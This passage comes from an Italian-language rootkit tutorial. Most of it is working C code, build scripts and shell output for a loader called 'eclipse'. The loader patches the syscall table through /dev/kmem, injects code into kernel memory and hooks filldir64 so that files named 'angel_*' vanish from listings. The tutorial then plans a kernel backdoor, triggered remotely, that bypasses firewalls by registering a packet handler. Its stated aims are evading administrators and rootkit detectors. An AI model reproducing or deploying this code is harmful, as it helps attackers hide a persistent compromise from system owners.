unsigned char opcodes[5]; \ /* Opcode e parametri della call */
tipo dimensione[quante]; \ /* <----- Ovvero ci dice quanto dobbiamo saltare: in questo caso il ret ed il pop eax
sono messi dopo la call: 
call etichetta;
valori
etichetta:pop
ret

Come potete vedere il risultato e' lo stesso, dovremo saltare in avanti di n bytes, dove
n e' il numero delle variabili memorizzate per la loro dimensione
*/
unsigned char opcodes2[2]; \ /* <- Gli opcodes del pop e del ret */
} __attribute__((packed)); \
static struct s_##nome f_##nome = \
/* nell'ordine:
opcode della call con spiazzamento a 32 bit
primi 8 bit della dimensione del salto
secondi 8 bit della dimensione del salto
terzi 8 bit della dimensione del salto
ultimi 8 bit della dimensione del salto
*/
{{0xe8, sizeof(f_##nome.dimensione) & 0xff,\
(sizeof(f_##nome.dimensione) >> 8) & 0xff,\
(sizeof(f_##nome.dimensione) >> 16) & 0xff,\
(sizeof(f_##nome.dimensione) >> 24) & 0xff },\
/* Valori contenuti nelle/a variabili/e */
{valori}, \
/* pop eax
ret
*/
{0x58, 0xc3}\
}; \
static inline tipo *nome(void) \
{ \
/* Castiamo a funzione la struttura appena creata e la eseguiamo */
tipo *(*func)() = (void *) &f_##nome; \
return func(); \
}

#define R_VAR(tipo, nome, valori) \
RELOC(tipo, 1, nome, valori)

R_VAR(int,pippo,123456);

int main(void)
{
printf("%d\n",*(pippo()));
return 0;
}

 

 

Vortex:~# gcc test.c -o test
Vortex:~# ./test
123456
Vortex:~#

- 6.4 UTILIZZARE LE FUNZIONI DEL KERNEL

State tranquilli, questo e' molto meno laborioso, e' un semplice gioco di puntatori :) Mettiamo di voler utilizzare la printk
per stampare un messaggio di debug, tutto quello di cui abbiamo bisogno e':

- L'indirizzo della stringa da stampare <= Lo troviamo tramite una variabile autorilocante
- L'indirizzo della printk <= Lo troviamo tramite parsing o System.map
- 4 bytes a kernel space <= Vedremo dopo come ottenerli, ora ipotizziamo di avere una variabile
autorilocante che restituisca un puntatore a questi 4 bytes

La sintassi e' semplice:

int (**printk)(char*,...);
printk=(void*)(unsigned long)*my_bytes(); <= ora *printk punta ai nostri bytes
*printk=(void*)PRINTK_ADDRESS; <= Scriviamo l'indirizzo della printk
(**printk)(print_string()); <= Chiamiamo la funzione il cui indirizzo e' sui nostri bytes


- 6.5 CREARE IL CODICE

Ora vedremo come creare la massa di codice eseguibile senza "troppi" problemi. Al fine
di facilitare la comprensione della tecnica non andremo a lavorare subito col kernel, ma
implementeremo un semplice programma che scriva "Ciao" sullo schermo.
Il primo problema e' come dire alla macchina che deve scrivere qualcosa: non possiamo usare
librerie, percio' dobbiamo trovare un sistema per dire direttamente al kernel che syscall
vogliamo eseguire e con che parametri. Se vi ricordate abbiamo gia visto come fare nella parte
sull'IDT, basta mettere i valori corretti nei registri e chiamare l'int 0x80. Il kernel stesso
ci mette a disposizione delle macro per fare questo, non sara' necessario studiarsi la struttura
di tutte le syscall che vorremo utilizzare :) Le trovate in unistd.h nei sorgenti del kernel.
Guardiamo quella che ci interessa, quella relativa alla sys_write:

#define __NR_write 4 <---- Numero della syscall

#define _syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), "d" ((long)(arg3))); \ <-- Posiziona gli argomenti nei registri corretti
return(type) (__res); \ <--- Nel kernel a questo punto viene chiamata un'altra macro
per effettuare un controllo sul valore ritornato, l'ho rimossa
per semplicita', ma e' equivalente
}

static inline _syscall3(int,write,int, fd,const char *,ptr,long,size);


Come vedete basta sapere il numero degli argomenti della syscall che ci interessa ed il suo numero per utilizzare
la macro corrispondente. A questo punto la nostra chiamata write(x,y,z) e' perfettamente equivalente a quella che
usiamo di solito.
Veniamo alla stringa da stampare, "Ciao", ovviamente dovra' essere autorilocante, ma abbiamo gia visto prima come
fare: sara' sufficiente dirgli che e' una variabile di tipo char di dimensione sizeof("Ciao").

#define S_VAR(nome, valori) \
RELOC(char ,sizeof(valori),nome,valori)

Vediamo dunque il codice nella sua versione finale:

 

#define __NR_write 4

asm(".globl code_start\n\t" ".globl code_end\n\t");
/* Vedremo dopo il significato di questa parte in asm, per ora non badateci */

#define _syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), "d" ((long)(arg3))); \
return(type) (__res); \
}

static inline _syscall3(int,write,int, fd,const char *,ptr,long,size);


#define RELOC(tipo, quante, nome, valori...) \
struct s_##nome { \
unsigned char opcodes[5];\
tipo dimensione[quante]; \
unsigned char opcodes2[2]; \
} __attribute__((packed)); \
static struct s_##nome f_##nome = \
{{0xe8, sizeof(f_##nome.dimensione) & 0xff,\
(sizeof(f_##nome.dimensione) >> 8) & 0xff,\
(sizeof(f_##nome.dimensione) >> 16) & 0xff,\
(sizeof(f_##nome.dimensione) >> 24) & 0xff },\
{valori}, \
{0x58, 0xc3}\
}; \
static inline tipo *nome(void) \
{ \
tipo *(*func)() = (void *) &f_##nome; \
return func(); \
}
#define S_VAR(nome, valori) \
RELOC(char ,sizeof(valori),nome,valori)

S_VAR(pippo,"ciao\n");


int init(void) {
write(1,pippo(),5);
}

 

Adesso compiliamo senza assemblare e guardiamo il codice che viene prodotto

Vortex:~# gcc -nostdlib -c -O3 data.c -S -o data.s
Vortex:~# cat test.s
.file "data.c"
#APP
.globl code_start
.globl code_end
#NO_APP
.data
.type f_pippo, @object
.size f_pippo, 13
f_pippo:
.byte -24
.byte 6
.byte 0
.byte 0
.byte 0
.string "ciao\n"
.byte 88
.byte -61
.text
.p2align 4,,15
.globl init
.type init, @function
init:
pushl %ebp
movl %esp, %ebp
subl $8, %esp
movl %ebx, -4(%ebp)
movl $1, %ebx
call f_pippo
movl %eax, %ecx
movl $5, %edx
movl $4, %eax
#APP
int $0x80
#NO_APP
movl -4(%ebp), %ebx
movl %ebp, %esp
popl %ebp
ret
.size init, .-init
.section .note.GNU-stack,"",@progbits
.ident "GCC: (GNU) 3.3.3 (Debian)"

No tranquilli, non serve andare ad analizzare tutto questo, dobbiamo solo modificarlo un po'
andando a rimuovere zone che non ci servono a niente e raggruppando tutto il codice in un solo
segmento. 
Agiremo in questo modo:

- Inseriremo un tag .data o .text in cima al file
- Inseriremo un'etichetta code_start subito dopo (vedremo in seguito il perche')
- Rimuoveremo tutte le righe inutili (cioe' non strettamente necessarie al programma per funzionare)
- Inseriremo un'etichetta code_end sul fondo (idem come sopra)

Per fortuna e' possibile automatizzare questo passo tramite l'utilizzo di grep. Ecco un piccolo script
che fa quanto detto:

#!/bin/bash
echo ".text" > data.s
echo "code_start:" >> data.s
gcc -S -O3 -nostdlib data.c -o - | grep -vE "\.align|\.p2align|\.text|\.data|\.rodata|#|\.ident|\.file|\.version|\.note" >> data.s
echo "code_end:" >> data.s
gcc -c data.s -o data.o

Ecco fatto, proviamo a vederne il dump:

test.o: file format elf32-i386

Disassembly of section .text:

00000000 <code_start>:
0: e8 06 00 00 00 call b <code_start+0xb>
5: 63 69 61 arpl %bp,0x61(%ecx)
8: 6f outsl %ds:(%esi),(%dx)
9: 0a 00 or (%eax),%al
b: 58 pop %eax
c: c3 ret
d: 8d 76 00 lea 0x0(%esi),%esi

00000010 <init>:
10: 55 push %ebp
11: ba 01 00 00 00 mov $0x1,%edx
16: 89 e5 mov %esp,%ebp
.....
....
..
.

Tutto nello stesso segmento :)


- 6.6 CARICARE IN MEMORIA IL CODICE

Dobbiamo in primo luogo trovare come allocare della memoria senza la famiglia di funzioni *alloc.
Una loro reimplementazione e' fuori discussione, troppo laboriosa, possiamo invece utilizzare
un'altra funzione al nostro scopo, la mmap. Possiamo chiedere al sistema di mmapparci tot bytes
con permessi di lettura/scrittura/esecuzione dove copieremo ed andremo ad eseguire il codice
realizzato poco fa.
Dobbiamo scoprire ancora 2 cose:

1) Dove si trova il codice che vogliamo caricare in memoria
2) Quanto e' grande

Ora entrano in gioco le etichette apparentemente senza senso che abbiamo inserito nel file poco fa
all'inizio ed alla fine del segmento in cui abbiamo raggruppato il nostro codice:
se noi nel programma che si occupa di caricare il codice dichiariamo due funzioni come extern in
questo modo

extern void code_start();
extern void code_end();

poi compiliamo come codice oggetto e lo linkiamo al file data.o l'effetto sara' di associare quelle
funzioni alle etichette precedentemente dichiarate. A questo punto il gioco e' fatto: se noi
utilizziamo semplicemente il nome di queste funzioni (senza chiamarle) l'effetto sara' di avere
il loro indirizzo che, corrisponde con l'inizio e la fine del codice da inserire :)
Percio' il codice sara' grande (unsigned long)code_end-(unsigned long)code_start ed iniziera' alla
posizione (unsigned long) code_start.

 

#define __NR_mmap 90
#define __NR_old_mmap __NR_mmap

#define PROT_READ 0x1
#define PROT_WRITE 0x2
#define PROT_EXEC 0x4
#define MAP_PRIVATE 0x02
#define MAP_ANONYMOUS 0x20

extern void code_start();
extern void code_end();
extern void init(void); /* Anche la funzione di init aveva un'etichetta che verra' associata a questa
* funzione, la chiameremo per farla partire
*/
/* Struttura utilizzata come argomento della mmap */ 
struct mmap_arg_struct {
unsigned long addr;
unsigned long len;
unsigned long prot;
unsigned long flags;
unsigned long fd;
unsigned long offset;
};


#define _syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1))); \
return(type) (__res); \
}


static inline _syscall1(void*,old_mmap,struct mmap_arg_struct *, ptr);

static inline void * malloc(unsigned long size) {
struct mmap_arg_struct arg= {0,size,PROT_EXEC|PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,0,0 };
return old_mmap(&arg);
}

void my_memcpy(char *to,char *from,int size)
{
int i;
for(i=0;i<size;i++)
*to++=*from++;
}


int main(void)
{
/* Allochiamo */ 
char *ptr=(char*)malloc((unsigned long)code_end-(unsigned long)code_start);

/* Copiamo */
my_memcpy(ptr,(char*)code_start,(unsigned long)code_end-(unsigned long)code_start);

/* Attiviamo */
init();
return 0;
}

 

Vortex:~# gcc -c -O3 -nostdlib charge.c -o charge.o
Vortex:~# gcc data.o charge.o -o charge
Vortex:~# ./charge
ciao
Vortex:~#

L'unica differenza tra questo e lavorare con kmem sara' dove andremo a scrivere :)
Qui e' bastata una mmap per allocare spazio, mentre per ottenere memoria a kernel space
dobbiamo necessariamente chiamare la kmalloc. Ora vedremo come.
- 7.1 ALLOCAZIONE DI MEMORIA ED ATTIVAZIONE FUNZIONI A KERNEL SPACE

Contrariamente a quanto si possa pensare allocare memoria a kernel space e' piuttosto
facile dato che abbiamo bisogno solo di 3 cose:

- L'indirizzo della kmalloc => Lo otteniamo tramite parsing/System.map
- Il valore di GFP_KERNEL => Lo otteniamo tramite parsing o tenendone un elenco con le rispettive
versioni del kernel

- Un modo di comunicare con kernelspace da userspace per passare i parametri alla kmalloc e ricevere
l'indirizzo della memoria allocata

Pensate un attimo, l'ultimo punto non vi sa di d?j?-vu? Noi abbiamo gia un sistema che ci permette di
comunicare valori/eseguire operazioni/ottenere un risultato con il kernel....le sys call :)
Non dovremo fare altro che sovrascrivere l'indirizzo di una syscall con almeno 2 parametri con quello
della kmalloc, chiamarla salvando il risultato e ripristinare l'indirizzo originario. A Questo
punto abbiamo l'indirizzo della zona di memoria allocata, percio' possiamo andare a copiare in
quella memoria il nostro codice. Per "attivare" la funzione di init non dovremo fare altro che
utilizzare la tecnica di prima sovrascrivendo l'indirizzo una syscall con l'indirizzo del nostro init e
poi chiamarlo. Semplice vero? :)

- 7.2 L'IMPLEMENTAZIONE

Normalmente questa tecnica e' usata in concomitanza con l'hijacking della sys call table dato
che e' un sistema semplice, pulito e dagli ottimi risultati, ma e' anchesi' vero che ormai un hook
simile e' facilmente rilevabile da una qualsiasi detector di rootkit. Ora come ora, penso che l'unico
sistema per rimanere occultati a lungo sia quello di iniziare a giocare con le funzioni del virtual
file system di linux (sarebbe una cosa tipo quello che abbiamo fatto con /proc ) dato che non si sa
il perche' nessuno le controlla, oppure andare a lavorare con le funzioni interne del kernel.
Non ho mai visto implementazioni di nessuno di questi 2 sistemi, ma dato che il secondo e' un po'
piu' complesso come realizzazione ed offre un'occultamento estremamente elevato se usato intelligentemente
vedremo un esempio di questo.Chiaramente il discorso che ho fatto all'inizio, occultamento VS portabilita'
e' ancora valido: sta a voi scegliere come e dove operare.

Ovviamente non implementeremo tutti gli occultamenti visti fin'ora con questa tecnica, mostrero' solo un
esempio di hook alla filldir64. Questa e' una funzione interna alla getdents64 (per cui difficilmente controllata)
il cui compito (a grandi linee) puo' essere definito come il "riempire" il buffer di output della getdents.
Daremo per scontato di conoscerne l'indirizzo (e' facilmente ottenibile tramite parsing) e daremo per noti
anche gli indirizzi della sys call table, della kmalloc ed il valore di GFP_KERNEL.

- STRUTTURA

Lo schema generale degli hook rimarra' il medesimo: filtraggio dell'input prima di eseguire la chiamata oppure
dopo averla eseguita. Per questo motivo necessitiamo di memorizzare nella memoria allocata anche alcune informazioni
tipo i bytes di backup.

struct hook
{
char inject[7];
char backup[7];
char *pointer;
}__attribute__((packed));

Un nostro hook sara' rappresentato dalla struttura qui sopra, i primi 7 bytes sono riservati per memorizzare il codice
di injecting, gli altri 7 memorizzeranno i bytes che andremo a sovrascrivere mentre il puntatore finale servira' come
puntatore "base" per poter chiamare la funzione del kernel corrispondente all'hook (se non vi e' chiaro non importa,
capirete dopo guardando il codice)

struct pointer {
char *ptr;
}__attribute__((packed));

Ognuna di queste strutture rappresenta una funzione del kernel (esterna ad un hook) che andremo ad utilizzare. Questa
soluzione e' ben lungi dall'essere ottimizzata, ma mi sembra che cosi' facendo, separando i dati, ci sia una maggior
chiarezza concettuale.

Dopo che avremo allocato la memoria kernel dovremo creare questo schema:

 

    | 	structs hook | structs pointer | codice delle funzioni 	 |

    |________________|_________________|_________________________|
Inizio Memoria 					Fine Memoria

 

Possiamo allocare qualsiasi numero di strutture hook/pointer, bisogna solo tenere conto di quante per calcolare
in seguito gli spiazzamenti del codice.

 

/* File di include, eclipse.h */

/* Definizione dei numeri delle syscall che utilizzeremo */

#define __NR_m_exit 1
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5
#define __NR_lseek 19
#define __NR_olduname 59
#define __NR_KMALLOC __NR_olduname /* Chiameremo la olduname prima per allocare poi per attivare */
#define __NR_KSTART __NR_olduname

#define SEEK_SET 0
#define S_IRWXU 00700
#define O_RDWR 02
#define GFP_KERNEL 0x1f0 /* Se il kernel e' un 2.4 dovrebbe andare bene questo, comunque controllate */ 
#define NULL (void*)0

#define A_KMALLOC Inserite /* Indirizzo kmalloc */
#define A_SCT i vostri /* Indirizzo sys call table */
#define FILLDIR64 valori /* Indirizzo filldir64 */
#define HOOKS 1 /* Significa che andremo ad agganciare solo 1 funzione */
#define POINTERS 0 /* Non useremo puntatori sciolti, percio' 0 */

extern void code_start();
extern void code_end();


#define _syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1))); \
return(type)(__res); \
}

#define _syscall2(type,name,type1,arg1,type2,arg2) \
type name(type1 arg1,type2 arg2) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
return(type) (__res); \
}

#define _syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), "d" ((long)(arg3))); \
return(type) (__res); \
}

static inline _syscall3(int,write,unsigned int, fd,const char *,ptr,long,size);
static inline _syscall3(int,read,unsigned int, fd, char *, ptr,long, size);
static inline _syscall3(long,lseek,unsigned int,fd,int,offset,int, modo);
static inline _syscall3(int,open,char *, sptr, int, modo,int, permessi);
static inline _syscall2(unsigned long,KMALLOC,unsigned long,size,unsigned int,gfp);
static inline _syscall2(unsigned long ,KSTART,unsigned long, mem,unsigned long, sct);
static inline _syscall1(void,m_exit,int,status);

struct hook
{
unsigned char inj_code[7];
unsigned char backup[7];
/* Puntatore a kspace da utilizzare come base per chiamare la
* funzione originaria
*/
unsigned char *base_ptr;
}__attribute__((packed));

struct pointer
{
char *ptr;
}__attribute__((packed));

/* Legge dal file descriptor fd alla posizione offset size bytes e li mette in buf */

static inline int rkm(int fd, int offset, void *buf, int size)
{
if (lseek(fd, offset, 0) != offset)
return 0;
if (read(fd, buf, size) != size)
return 0;
return size;
}

/* Scrive sul file descriptor fd alla posizione offset size bytes dal buffer buf */

static inline int wkm(int fd, int offset, void *buf, int size)
{
if (lseek(fd, offset, 0) != offset)
return 0;
if (write(fd, buf, size) != size)
return 0;
return size;
}

void m_memcpy(char *to,char *from, unsigned int size)
{
int i;
for(i=0;i<size;i++)
*to++=*from++;
}

int my_strlen(char *string)
{
int len=0;
while(*string!='\0')
{
len++;
string++;
}
return len;
}

int my_strncmp(char *string1,char *string2,int size)
{
int i;
for(i=0;i<size;i++,string1++,string2++)
if(*string1!=*string2)
return 1;
return 0;
}

#define RELOC(tipo, quante, nome, valori...) \
struct s_##nome { \
unsigned char opcodes[5];\
tipo dimensione[quante]; \
unsigned char opcodes2[2]; \
} __attribute__((packed)); \
static struct s_##nome f_##nome = \
{{0xe8, sizeof(f_##nome.dimensione) & 0xff,\
(sizeof(f_##nome.dimensione) >> 8) & 0xff,\
(sizeof(f_##nome.dimensione) >> 16) & 0xff,\
(sizeof(f_##nome.dimensione) >> 24) & 0xff },\
{valori}, \
{0x58, 0xc3}\
}; \
static inline tipo *nome(void) \
{ \
tipo *(*func)() = (void *) &f_##nome; \
return func(); \
}
#define R_VAR(tipo, nome, valori) \
RELOC(tipo, 1, nome, valori)

#define S_VAR(nome, valori) \
RELOC(char ,sizeof(valori),nome,valori)

/* Saranno nascosti tutti i file inizianti con la sottostringa "angel_" */
S_VAR(hide,"angel_");

 

 

Non penso ci sia bisogno ulteriori commenti.
Ora il codice del "loader" in memoria

 

/* charger.c */

#include "eclipse.h"

extern void init(unsigned long,unsigned long); /* Ovvero la funzione di init di data.c */

S_VAR(skmem,"/dev/kmem");
S_VAR(error,"Uops, errore :(\n");
#define ERROR { write(1,error(),16);m_exit(-1);}
#define R_C_E(fd,offset,dove,quanto) if(rkm(fd,offset,dove,quanto)<0) ERROR /* Read and check error */
#define W_C_E(fd,offset,dove,quanto) if(wkm(fd,offset,dove,quanto)<0) ERROR /* Write and check error */

int main(void);
void _start(void){ main(); m_exit(0); };

int main(void)
{
int kmem = open(skmem(),O_RDWR,S_IRWXU);
unsigned long uname_addr,
kmalloc=A_KMALLOC,
kernel_mem,
hooksizes=(HOOKS*sizeof(struct hook))+(sizeof(struct pointer)*POINTERS),
start_addr;
if(kmem<0)
ERROR

/* Leggiamo e salviamo l'indirizzo originale della olduname */
R_C_E(kmem,A_SCT+(__NR_olduname*4),&uname_addr,sizeof(uname_addr))

/* Lo sovrascriviamo con quello della kmalloc */
W_C_E(kmem,A_SCT+(__NR_olduname*4),&kmalloc,sizeof(kmalloc))

/* Allochiamo */
kernel_mem=KMALLOC((unsigned long)code_end-(unsigned long)code_start+hooksizes,GFP_KERNEL);

if((void*)kernel_mem==NULL)
ERROR
/* Copiamo il nostro codice in memoria */
W_C_E(kmem,kernel_mem+hooksizes,(char*)code_start,(unsigned long)code_end-(unsigned long)code_start)

/* Calcoliamo l'indirizzo dell'init */
start_addr=kernel_mem+hooksizes+(unsigned long)init-(unsigned long)code_start;

/* Scriviamo l'indirizzo dell'init al posto della syscall */
W_C_E(kmem,A_SCT+(__NR_olduname*4),&start_addr,sizeof(start_addr))

/* Attiviamo la routine kernel space */
KSTART(kernel_mem,A_SCT);

/* Ripristiniamo il vecchio indirizzo nella sys call table */
W_C_E(kmem,A_SCT+(__NR_olduname*4),&uname_addr,sizeof(uname_addr))

/* Abbiamo finito, usciamo */
m_exit(0);

}

 

 

Ed infine il codice che andra' a risiedere nella memoria kernel

 

#include "eclipse.h"

asm (".globl code_start\n\t" ".globl code_end\n\t");

/* Faremo puntare questi puntatori rispettivamente alla zona di memoria dedicata
all'injection ed a quella dedicata al backup, cosi' da potervici accedere
da qualsiasi funzione
*/
R_VAR(unsigned long *, backup_fill, 0);
R_VAR(unsigned long *, inj_code_fill, 0);

int n_filldir64(void *buf,char *nome,int length,unsigned long off,long inode, unsigned int tipo)
{
int len = 0;
int (**o_filldir) (void *, char *, int, unsigned long,long,unsigned int);

/* Ora con *filldir si accede al puntatore "base" della struttura hook */
(o_filldir) = (void *) (7 + (unsigned long) *backup_fill());

/* Facciamo puntare quel puntatore alla filldir64 originaria */
(*o_filldir) = (void *) FILLDIR64;

/* Se il nome del file con cui e' stata chiamata la filldir deve essere nascosto ritorniamo 0
senno chiamiamo la funzione originaria
*/
if (!my_strncmp(nome, hide(), my_strlen(hide())))
return 0;

/* Ripristiniamo i bytes originari per poterla chiamare */
m_memcpy((char *) FILLDIR64,(char*) *backup_fill(), 7);

len = (**o_filldir) (buf, nome, length, off, inode, tipo);

/* Risistemiamo l'hook */
m_memcpy((char *) FILLDIR64, (char*)*inj_code_fill(), 7);

return len;
}

void init(unsigned long base_mem,unsigned long sct) {

unsigned char inj_fill[7] = "\xb8\x00\x00\x00\x00\xff\xe0";
unsigned char b_fill[7];

/* Faccio puntare i 2 puntatori alle rispettive zone della struttura hook */

*inj_code_fill()=(void*)+base_mem;
*backup_fill()=(void*)+7+base_mem;

/* Ricordiamoci che davanti al nostro codice ci sono le strutture per gli hook */

*(unsigned long*)&inj_fill[1]=(unsigned long)n_filldir64-(unsigned long)code_start+base_mem
+sizeof(struct hook)*HOOKS+sizeof(struct pointer)*POINTERS;

/* Sistemiamo il codice per l'injection ed il backup nella struttura */
m_memcpy((char*)*inj_code_fill(),inj_fill,7);
m_memcpy((char*)*backup_fill(),(char*)FILLDIR64,7);

/* Inectiamo il codice di salto */
m_memcpy((char*)FILLDIR64,inj_fill,7);
}

 

 

Finito :)

Compiliamo con questo...

#!/bin/bash
echo ".text" > data.s
echo "code_start:" >> data.s
gcc -S -nostdlib -O2 data.c -o - | grep -vE "\.align|\.p2align|\.text|\.data|\.rodata|#|\.ident|\.file|\.version|\.note" >> data.s
echo "code_end:" >> data.s
gcc -nostdlib -c data.s -o data.o
gcc -c -nostdlib -O3 charger.c -o charger.o
gcc charger.o data.o -o eclipse

Vortex:~# ./eclipse
Vortex:~# touch angel_dust
Vortex:~# ls | grep angel_dust
Vortex:~#

Come avete visto la sua struttura e' parecchio flessibile, potete divertirvi ad espanderlo finche volete, anche se,
chiaramente, ci sono modi molto + immediati di procedere, sta a voi la scelta :)


- 8.1 NETWORK HACKS

Ora che abbiamo visto come possiamo occultarci in un sistema, vediamo come possiamo
rientrarci, sempre sfruttando il kernel. Fino ad ora abbiamo sempre ipotizzato
backdoors che ci dessero privilegi piu alti in locale, ma nel caso in cui noi venissimo
chiusi fuori dalla macchina per qualche motivo, sarebbero completamente inutili.
Esistono delle soluzioni ad userspace a questo problema, delle backdoors utilizzabili
remotamente, ma comportano degli svantaggi:

- un processo attivo ? sempre passibile di rilevazione e/o analisi. Un semplice modulo
che scorra la lista dei processi mostrerebbe la nostra backdoor e verremmo immediatamente
individuati, o, peggio ancora, l'amministratore potrebbe iniziare un analisi del processo
e cosi scoprire i nostri dati, indipendentemente dall'utilizzo di crittografia.
Sarebbe possibile rimediare anche a questo, ma ricordatevi che a parte rare eccezioni,
abbiamo il limite di doverci tenere portabili e pertanto non possiamo scendere troppo a
basso livello col nostro lavoro. Nascondere un processo che parte/fa il suo lavoro/finisce
? una cosa, nascondere un processo che deve stare perennemente attivo ? un'altra,
le possibilit? di rilevazione aumentano vertiginosamente.

- sottostanno sempre e comunque al kernel: nel caso qust'ultimo non passi piu ad userspace
una certa tipologia di pacchetti (ad esempio dopo aver configurato iptables) diventano
completamente inutili.

- in molti casi necessitano di una porta aperta e perci? rilevabile attraverso uno scan.
Se non ? una porta aperta ma un socket raw, come nel caso delle backdoor attivate
remotamente, i pacchetti arriverebbero, ma sarebbe comunque un processo attivo.

- se sono basate sul preloading non sono sempre attivabili, ad esempio se il demone
che si va a sfruttare ? compilato staticamente e la loro vita ? comunque legata
ad un altro processo che non possiamo controllare.

Il nostro obiettivo perci? sar? la creazione di una backdoor attivata remotamente che:

- Non attivi processi aggiuntivi

- Non metta porte in ascolto di alcun tipo

- Riceva sempre e comunque i pacchetti, anche in caso di firewall

- Non sia legata alla vita/funzionamento di alcun demone

- Sia completamente autonoma, non deve percio' necessitare di un qualche tipo di
co-attivazione oltre ai pacchetti che le spediremo per comandarla.


- 8.2 NETWORK OVERVIEW

Dato che abbiamo detto che deve poter ricevere sempre e comunque il traffico dobbiamo vedere qual ?
il percorso di un pacchetto all'interno del kernel dal suo arrivo fino al suo incontro con un
ipotetico firewall, in modo da poter vedere con chiarezza dove andare ad agire. Sarebbe possibile
aggiungere semplicemente una nostra regola del firewall, ma nel momento in cui una regola aggiunta
in un secondo momento andasse in contrasto con la nostra verremmo bloccati. Dobbiamo perci?
necessariamente trovare un altro metodo.

Per capire bene cosa succede dobbiamo andare alla radice della ricezione, ovvere il device driver
della scheda di rete. Prender? come esempio il driver della e1000 che potete trovare in
drivers/net/e1000 e precisamente il file e1000_main.c. Dandogli guardata veloce salta subito
all'occhio questa funzione:

    /**
     * e1000_clean_rx_irq - Send received data up the network stack,
     * @adapter: board private structure
     **


     static boolean_t
     #ifdef CONFIG_E1000_NAPI
     e1000_clean_rx_irq(struct e1000_adapter *adapter, int *work_done,
                        int work_to_do)
     #else
     e1000_clean_rx_irq(struct e1000_adapter *adapter)
     #endif

che dal commento sembra proprio fare al caso nostro, si occupa di mandare un pacchetto appena
ricevuto allo stack di rete. Assumeremo che CONFIG_E1000_NAPI sia stato definito per una trattazione
piu semplice, oltre per il fatto che ? maggiormente performante.[1]
Poco piu in basso, troviamo questo blocco:

    #ifdef CONFIG_E1000_NAPI
    if(adapter->vlgrp && (rx_desc->status & E1000_RXD_STAT_VP)) {
       vlan_hwaccel_receive_skb(skb, adapter->vlgrp,
                               le16_to_cpu(rx_desc->special &
			       E1000_RXD_SPC_VLAN_MASK));
    } else {
       netif_receive_skb(skb);
    }
    #else /* CONFIG_E1000_NAPI */

Tralasciamo la condizione dell'if e guardiamo quella funzione dal nome parecchio esplicativo,
la netif_receive_skb che, tra parentesi, ? pure esportata:

Vortex:~# grep netif_receive_skb /proc/kallsyms
c0442449 T netif_receive_skb
Vortex:~#

La troviamo in net/core/dev.c [2]
Questa funzione ha il compito di richiamare la giusta funzione di handling in base al tipo di
pacchetto, sia esso ip, arp, raw o quant'altro.
Vediamo come lo fa: prima viene scorsa la lista dei packet_type creati per ricevere tutti i tipi
di pacchetti

    list_for_each_entry_rcu(ptype, &ptype_all, list) {
         if (!ptype->dev || ptype->dev == skb->dev) {
                if (pt_prev)
                     ret = deliver_skb(skb, pt_prev, 0);
	        pt_prev = ptype;
         }
    }

poi la lista contenente i packet type dei protocolli specifici:

    list_for_each_entry_rcu(ptype, &ptype_base[ntohs(type)&15], list) {
         if (ptype->type == type && (!ptype->dev || ptype->dev == skb->dev)) {
                if (pt_prev) {
	             ret = deliver_skb(skb, pt_prev, 0);
	             pt_prev = ptype;
	        }
         }
    }

Questo lo capiamo molto semplicemente guardando il codice della funzione dev_add_pack, situata
in net/core/dev.c che ? la responsabile dell'aggiungimento di un packet type nella lista corretta:

    void dev_add_pack(struct packet_type *pt)
    {
     int hash;
     spin_lock_bh(&ptype_lock);
     if (pt->type == htons(ETH_P_ALL)) {
             netdev_nit++;
	     /* Vedete? Se il type ? htons(ETH_P_ALL) ovvero tutti i pacchetti il packet type viene aggiunto
        	nella lista che abbiamo visto prima
	     */

	     list_add_rcu(&pt->list, &ptype_all);
     } else {
             /* Altrimenti viene inserito tra i protocolli */
             hash = ntohs(pt->type) & 15;
             list_add_rcu(&pt->list, &ptype_base[hash]);
     }
     spin_unlock_bh(&ptype_lock);
    }
Tornando alla netif_receive_skb, per ogni packet type viene attivata la corrispettiva funzione
di handling attraverso la deliver_skb:

    static __inline__ int deliver_skb(struct sk_buff *skb,
                                      struct packet_type *pt_prev, int last)
    {
     atomic_inc(&skb->users);
     return pt_prev->func(skb, skb->dev, pt_prev);
    }

che non fa altro che attivare la funzione interna al packet_type.
Come avete notato, fin qui non c'? l'ombra di firewalling... se potessimo perci? aggiungere
un nostro packet_type ci verrebbero passati tutti i pacchetti in arrivo indiscriminatamente
ed indipendentemente dalle regole di netfilter presenti dato che queste ultime agiscono
per la prima volta all'interno della funzione di handling dei protocolli.
A questo punto perci? ci si aprono tre strade:

- Aggiungere un nostro packet_type di tipo htons(ETH_P_ALL) attraverso la dev_add_pack
(si, ? esportata :) in modo da ricevere qualunque cosa in modo molto pulito.

- Hookare con la tecnica del salto la netif_receive_skb

- Hookare con la tecnica del salto la funzione di handling relativa ad un protocollo
che ci interessa, ad esempio la ip_rcv nel caso di pacchetti ip.

Per una volta che possiamo lavorare in modo pulito direi di farlo, perci? nell'implementazione
user? la dev_add_pack, ma tenete presente che potete infilarvi praticamente ovunque, l'importante
? agire prima delle funzioni di handling del protocollo in modo da precedere il firewall.

 


- 8.3 KERNEL EXECUTION

